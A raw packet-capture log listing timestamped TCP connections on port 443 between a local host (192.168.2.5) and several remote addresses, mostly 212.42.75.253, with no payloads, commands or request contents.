Oct 26, 2024 13:48:54.182549953 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:54.204349995 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:54.204396963 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:54.204667091 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:54.205878019 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:54.205890894 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:54.373207092 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:48:55.057429075 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.136025906 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.136054039 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.136594057 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.145108938 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.145216942 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.145498037 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.191329002 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.393385887 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.393416882 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.393426895 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.393465042 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.393488884 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.393505096 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.393517971 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.393532991 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.393558979 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.426074982 CEST	49713	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.426094055 CEST	443	49713	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.470674992 CEST	49716	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.470731020 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.470802069 CEST	49716	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.471128941 CEST	49717	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.471177101 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.471230984 CEST	49717	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.471513033 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.471525908 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.471574068 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.471832037 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.471838951 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.471895933 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.472131014 CEST	49716	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.472148895 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.472279072 CEST	49717	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.472289085 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.472429991 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.472440004 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:55.472560883 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:55.472569942 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.030473948 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.030515909 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.030570984 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.030829906 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.030841112 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.071460962 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 26, 2024 13:48:56.071536064 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:48:56.132086039 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:48:56.132157087 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:48:56.132236004 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:48:56.152349949 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:48:56.152399063 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:48:56.318412066 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.321053982 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.322575092 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.327652931 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.351274967 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.351303101 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.351572990 CEST	49716	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.351607084 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.352035999 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.352473021 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.352531910 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.412261009 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.412292004 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.412570953 CEST	49717	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.412605047 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.412878990 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.413007975 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.413074017 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.413443089 CEST	49716	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.413538933 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.413995981 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.414016962 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.414073944 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.415887117 CEST	49717	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.415949106 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.416557074 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.416568995 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.417203903 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.417309046 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.417524099 CEST	49716	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.417720079 CEST	49717	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.417968035 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.417979956 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.459327936 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.459331036 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.469191074 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.549455881 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.664664984 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.664695978 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.664705038 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.664766073 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.664793015 CEST	49717	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.664841890 CEST	49717	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.665811062 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.665832996 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.665841103 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.665894985 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.665894985 CEST	49716	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.665977001 CEST	49716	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.778445005 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.778477907 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.778489113 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.778533936 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.778554916 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.778601885 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.778603077 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.778603077 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.778619051 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.778656960 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.778661013 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.778681040 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.778697968 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.783406973 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.783451080 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.783478022 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.783504963 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.783520937 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.783536911 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.783559084 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.783560991 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.783576965 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.783592939 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.783608913 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.783622980 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.783628941 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.798569918 CEST	49717	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.798589945 CEST	443	49717	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.801426888 CEST	49716	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.801450968 CEST	443	49716	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.875435114 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.894270897 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.894288063 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.894319057 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.894328117 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.894330978 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.894354105 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.894355059 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.894375086 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.894424915 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.898000956 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.899121046 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.899147987 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.900177002 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.900226116 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.900337934 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.900362015 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.900392056 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.900405884 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.900417089 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.900423050 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.900424957 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.900480032 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.921500921 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.921603918 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:56.922332048 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:56.922344923 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.007757902 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:48:57.009963989 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.009979963 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.010011911 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.010020018 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.010031939 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.010044098 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.010050058 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.010099888 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.017591000 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.017623901 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.017673016 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.017709017 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.017708063 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.017733097 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.017756939 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.017853022 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.131339073 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.131520987 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.133372068 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.133399010 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.133445024 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.133511066 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.133519888 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.133568048 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.133588076 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.133605003 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.133657932 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.133682966 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.135059118 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.135092020 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.135140896 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.135159016 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.135190964 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.135198116 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.135205030 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.135207891 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.135242939 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.149379015 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:48:57.241589069 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.241601944 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.241631985 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.241703033 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.241702080 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.241734982 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.241774082 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.252327919 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.252365112 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.252425909 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.252446890 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.252477884 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.252516985 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.263341904 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.263366938 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.263381958 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.263454914 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.263485909 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.263508081 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.263539076 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.369318008 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.369350910 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.369462967 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.369496107 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.369512081 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.371026039 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.454114914 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:48:57.454135895 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:48:57.455394030 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:48:57.455410004 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:48:57.455455065 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:48:57.475352049 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:48:57.475516081 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:48:57.486191988 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.486223936 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.486289978 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.486320019 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.486337900 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.486362934 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.520905018 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.520939112 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.521011114 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.521018982 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.521047115 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.521121979 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.538558006 CEST	49719	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.538594007 CEST	443	49719	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.545277119 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:48:57.545293093 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:48:57.560609102 CEST	49721	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.560641050 CEST	443	49721	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.637419939 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.637455940 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.637517929 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.637545109 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.637568951 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.637593985 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.754610062 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.754638910 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.754682064 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.754703999 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.754718065 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.754740000 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.758625031 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:48:57.838448048 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.838520050 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.838547945 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.838582039 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.838630915 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.838639975 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.842750072 CEST	49723	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:57.842856884 CEST	443	49723	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:57.843003988 CEST	49723	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:57.845604897 CEST	49723	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:48:57.845662117 CEST	443	49723	184.28.90.27	192.168.2.5
Oct 26, 2024 13:48:57.872488022 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.872538090 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.872585058 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.872612000 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.872649908 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.872684002 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.989712000 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.989744902 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.989789009 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.989815950 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:57.989839077 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:57.989862919 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.073308945 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.073357105 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.073409081 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.073437929 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.073457003 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.073476076 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.148705959 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.148747921 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.148818970 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.149924040 CEST	49724	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.149935961 CEST	443	49724	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.152514935 CEST	49725	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.152569056 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.152640104 CEST	49725	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.153253078 CEST	49725	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.153266907 CEST	443	49725	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.153912067 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.153934002 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.153980970 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.154459953 CEST	49726	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.154468060 CEST	443	49726	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.155050039 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.155061960 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.155178070 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.156126022 CEST	49727	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.156136990 CEST	443	49727	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.157793999 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.157804012 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.158016920 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.158227921 CEST	49728	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.158238888 CEST	443	49728	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.191602945 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.191637039 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.191683054 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.191714048 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.191729069 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.191760063 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.223548889 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.223592997 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.223664045 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.223700047 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:58.223723888 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:58.223751068 CEST	49718	443	192.168.2.5	212.42.75.253
